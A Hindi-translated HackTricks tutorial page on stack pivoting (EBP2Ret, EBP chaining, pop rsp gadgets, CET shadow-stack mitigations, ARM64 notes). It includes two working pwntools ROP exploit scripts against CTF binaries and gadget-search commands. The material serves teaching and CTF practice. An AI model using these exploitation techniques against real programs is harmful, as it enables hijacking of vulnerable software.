Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
यह तकनीक Base Pointer (EBP/RBP) को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि फ़्रेम पॉइंटर के सावधानीपूर्वक उपयोग और leave; ret
निर्देश अनुक्रम के माध्यम से कई कार्यों के निष्पादन को श्रृंखला में जोड़ा जा सके।
याद दिलाने के लिए, x86/x86-64 पर leave
के बराबर है:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.
Notes
- On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
- Some compilers omit the frame pointer (see “EBP might not be used”). In that case,
leave
might not appear and this technique won’t work.
EBP2Ret
यह तकनीक विशेष रूप से उपयोगी है जब आप सहेजे गए EBP/RBP को बदल सकते हैं लेकिन EIP/RIP को सीधे बदलने का कोई तरीका नहीं है। यह फ़ंक्शन एपिलॉग व्यवहार का लाभ उठाता है।
यदि, fvuln
के निष्पादन के दौरान, आप स्टैक में एक फर्जी EBP इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहां आपका शेलकोड/ROP श्रृंखला पता स्थित है (amd64 पर 8 बाइट्स / x86 पर 4 बाइट्स pop
के लिए), तो आप अप्रत्यक्ष रूप से RIP को नियंत्रित कर सकते हैं। जैसे ही फ़ंक्शन लौटता है, leave
RSP को तैयार स्थान पर सेट करता है और अगला pop rbp
RSP को कम करता है, जिससे यह उस पते की ओर इशारा करता है जो हमलावर द्वारा वहां संग्रहीत किया गया है। फिर ret
उस पते का उपयोग करेगा।
ध्यान दें कि आपको 2 पते जानने की आवश्यकता है: वह पता जहां ESP/RSP जाने वाला है, और उस पते पर संग्रहीत मान जो ret
उपभोग करेगा।
Exploit Construction
पहले आपको एक पता जानने की आवश्यकता है जहां आप मनमाना डेटा/पते लिख सकते हैं। RSP यहाँ इशारा करेगा और पहला ret
उपभोग करेगा।
फिर, आपको उस पते का चयन करना होगा जिसका उपयोग ret
द्वारा निष्पादन स्थानांतरित करने के लिए किया जाएगा। आप उपयोग कर सकते हैं:
- एक मान्य ONE_GADGET पता।
system()
का पता उसके उपयुक्त लौटने और तर्कों के साथ (x86 पर:ret
लक्ष्य =&system
, फिर 4 जंक बाइट्स, फिर&"/bin/sh"
).- एक
jmp esp;
गैजेट (ret2esp) का पता जो इनलाइन शेलकोड के साथ है। - एक ROP श्रृंखला जो लिखने योग्य मेमोरी में स्टेज की गई है।
याद रखें कि नियंत्रित क्षेत्र में इन पते से पहले, leave
से pop ebp/rbp
के लिए स्थान होना चाहिए (amd64 पर 8B, x86 पर 4B)। आप इन बाइट्स का दुरुपयोग करके एक दूसरा फर्जी EBP सेट कर सकते हैं और पहले कॉल के लौटने के बाद नियंत्रण बनाए रख सकते हैं।
Off-By-One Exploit
एक भिन्नता है जिसका उपयोग तब किया जाता है जब आप सहेजे गए EBP/RBP के सबसे कम महत्वपूर्ण बाइट को केवल संशोधित कर सकते हैं। ऐसे मामले में, मेमोरी स्थान जो ret
के साथ कूदने के लिए पता संग्रहीत करता है, को मूल EBP/RBP के साथ पहले तीन/पांच बाइट्स साझा करना चाहिए ताकि 1-बाइट ओवरराइट इसे पुनर्निर्देशित कर सके। आमतौर पर निम्न बाइट (ऑफसेट 0x00) को बढ़ाया जाता है ताकि निकटवर्ती पृष्ठ/संरेखित क्षेत्र के भीतर जितना संभव हो सके कूद सके।
यह भी सामान्य है कि स्टैक में एक RET स्लेड का उपयोग किया जाए और असली ROP श्रृंखला को अंत में रखा जाए ताकि यह अधिक संभावित हो कि नया RSP स्लेड के अंदर इशारा करता है और अंतिम ROP श्रृंखला निष्पादित होती है।
EBP Chaining
स्टैक के सहेजे गए EBP
स्लॉट में एक नियंत्रित पता रखकर और EIP/RIP
में एक leave; ret
गैजेट रखकर, यह संभव है कि ESP/RSP
को एक हमलावर-नियंत्रित पते पर ले जाया जाए।
अब RSP
नियंत्रित है और अगला निर्देश ret
है। नियंत्रित मेमोरी में कुछ इस तरह रखें:
&(next fake EBP)
->leave
सेpop ebp/rbp
द्वारा लोड किया गया।&system()
->ret
द्वारा कॉल किया गया।&(leave;ret)
->system
समाप्त होने के बाद, RSP को अगले फर्जी EBP पर ले जाता है और जारी रहता है।&("/bin/sh")
->system
के लिए तर्क।
इस तरह यह संभव है कि कई फर्जी EBPs को जोड़कर कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।
यह एक ret2lib की तरह है, लेकिन अधिक जटिल और केवल किनारे के मामलों में उपयोगी है।
इसके अलावा, यहाँ एक चुनौती का उदाहरण है जो इस तकनीक का उपयोग करता है एक स्टैक लीक के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 संरेखण टिप: System V ABI कॉल साइट्स पर 16-बाइट स्टैक संरेखण की आवश्यकता होती है। यदि आपकी श्रृंखला
system
जैसी फ़ंक्शंस को कॉल करती है, तो संरेखण बनाए रखने औरmovaps
क्रैश से बचने के लिए कॉल से पहले एक संरेखण गैजेट (जैसे,ret
, याsub rsp, 8 ; ret
) जोड़ें।
EBP का उपयोग नहीं किया जा सकता है
जैसा कि इस पोस्ट में समझाया गया है, यदि कोई बाइनरी कुछ ऑप्टिमाइजेशन के साथ या फ़्रेम-पॉइंटर की अनुपस्थिति में संकलित की गई है, तो EBP/RBP कभी भी ESP/RSP को नियंत्रित नहीं करता है। इसलिए, EBP/RBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट विफल हो जाएगा क्योंकि प्रोलॉग/एपिलॉग फ़्रेम पॉइंटर से पुनर्स्थापित नहीं होता है।
- अनुकूलित नहीं किया गया / फ़्रेम पॉइंटर का उपयोग किया गया:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- अनुकूलित / फ्रेम पॉइंटर छोड़ा गया:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 आप अक्सर pop rbp ; ret
देखेंगे इसके बजाय leave ; ret
, लेकिन अगर फ्रेम पॉइंटर पूरी तरह से छोड़ा गया है तो rbp
-आधारित उपसंहार के माध्यम से पिवट करने के लिए कोई नहीं है।
RSP को नियंत्रित करने के अन्य तरीके
pop rsp
गैजेट
इस पृष्ठ में आप इस तकनीक का उपयोग करते हुए एक उदाहरण पा सकते हैं। उस चुनौती के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करना आवश्यक था, और वहाँ एक pop rsp
गैजेट था और वहाँ स्टैक से लीक है:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
यहाँ ret2esp तकनीक की जाँच करें:
तेजी से पिवट गैजेट्स खोजना
क्लासिक पिवट प्राइमिटिव्स के लिए अपने पसंदीदा गैजेट फाइंडर का उपयोग करें:
leave ; ret
फ़ंक्शनों या लाइब्रेरी मेंpop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(याadd esp, <imm> ; ret
x86 पर)
उदाहरण:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
क्लासिक पिवट स्टेजिंग पैटर्न
एक मजबूत पिवट रणनीति जो कई CTFs/exploits में उपयोग की जाती है:
- एक छोटे प्रारंभिक ओवरफ्लो का उपयोग करें
read
/recv
को एक बड़े लिखने योग्य क्षेत्र (जैसे,.bss
, heap, या मैप किए गए RW मेमोरी) में कॉल करने के लिए और वहां एक पूर्ण ROP श्रृंखला रखें। - एक पिवट गैजेट (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) में लौटें ताकि RSP को उस क्षेत्र में ले जाया जा सके। - स्टेज्ड श्रृंखला के साथ जारी रखें (जैसे, libc लीक करें,
mprotect
कॉल करें, फिरread
शेलकोड, फिर उस पर कूदें)।
आधुनिक रोकथाम जो स्टैक पिवटिंग को तोड़ती हैं (CET/शैडो स्टैक)
आधुनिक x86 CPUs और OSes लगातार CET शैडो स्टैक (SHSTK) लागू कर रहे हैं। SHSTK सक्षम होने पर, ret
सामान्य स्टैक पर लौटने के पते की तुलना हार्डवेयर-सुरक्षित शैडो स्टैक से करता है; कोई भी असंगति एक नियंत्रण-सुरक्षा दोष उठाती है और प्रक्रिया को समाप्त कर देती है। इसलिए, EBP2Ret/leave;ret-आधारित पिवट जैसी तकनीकें पहले ret
के पिवटेड स्टैक से निष्पादित होते ही क्रैश हो जाएंगी।
- पृष्ठभूमि और गहरे विवरण के लिए देखें:
- लिनक्स पर त्वरित जांच:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
प्रयोगशालाओं/CTF के लिए नोट्स:
-
कुछ आधुनिक डिस्ट्रीब्यूशंस CET-सक्षम बाइनरी के लिए SHSTK को सक्षम करते हैं जब हार्डवेयर और glibc समर्थन मौजूद होता है। VMs में नियंत्रित परीक्षण के लिए, SHSTK को सिस्टम-व्यापी
nousershstk
कर्नेल बूट पैरामीटर के माध्यम से अक्षम किया जा सकता है, या स्टार्टअप के दौरान glibc ट्यूनबल्स के माध्यम से चयनात्मक रूप से सक्षम किया जा सकता है (संदर्भ देखें)। उत्पादन लक्ष्यों पर शमन को अक्षम न करें। -
JOP/COOP या SROP-आधारित तकनीकें कुछ लक्ष्यों पर अभी भी व्यवहार्य हो सकती हैं, लेकिन SHSTK विशेष रूप से
ret
-आधारित पिवट को तोड़ता है। -
Windows नोट: Windows 10+ उपयोगकर्ता-मोड को उजागर करता है और Windows 11 कर्नेल-मोड "हार्डवेयर-प्रवर्तन स्टैक सुरक्षा" को छाया स्टैक्स पर आधारित करता है। CET-संगत प्रक्रियाएँ
ret
पर स्टैक पिवटिंग/ROP को रोकती हैं; डेवलपर्स CETCOMPAT और संबंधित नीतियों के माध्यम से ऑप्ट-इन करते हैं (संदर्भ देखें)।
ARM64
ARM64 में, कार्यों के प्रोलॉग और एपिलॉग स्टैक में SP रजिस्टर को स्टोर और पुनर्प्राप्त नहीं करते। इसके अलावा, RET
निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि x30
के अंदर के पते पर लौटता है।
इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप SP रजिस्टर को नियंत्रित नहीं कर पाएंगे कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल हो जाते हैं, तो भी आपको x30
रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।
- प्रोलॉग
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP फ्रेम रिकॉर्ड को इंगित करता है
- एपिलॉग
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा SP
को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान SP
को पास किया जाता है या क्योंकि किसी कारणवश SP
अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर एपिलॉग का दुरुपयोग करके x30
रजिस्टर को नियंत्रित SP
से लोड करना और RET
करना।
इसके अलावा, निम्नलिखित पृष्ठ पर आप Ret2esp in ARM64 का समकक्ष देख सकते हैं:
संदर्भ
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 बिट्स, एक रॉप चेन के साथ एक रिट स्लेड से एक द्वारा एक शोषण
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक और एक qword का WWW प्रदान करता है। पहले स्टैक लीक प्राप्त करें और WWW का उपयोग करके वापस जाएं और pie लीक प्राप्त करें। फिर WWW का उपयोग करके एक शाश्वत लूप बनाएं जो
.fini_array
प्रविष्टियों का दुरुपयोग करता है +__libc_csu_fini
को कॉल करता है (यहां अधिक जानकारी). इस "शाश्वत" लेखन का दुरुपयोग करते हुए, .bss में एक ROP चेन लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करते हुए कॉल किया जाता है। - Linux कर्नेल दस्तावेज़: नियंत्रण-प्रवाह प्रवर्तन प्रौद्योगिकी (CET) छाया स्टैक — SHSTK,
nousershstk
,/proc/$PID/status
ध्वज, औरarch_prctl
के माध्यम से सक्षम करने के विवरण। https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: कर्नेल मोड हार्डवेयर-प्रवर्तन स्टैक सुरक्षा (Windows पर CET छाया स्टैक्स)। https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।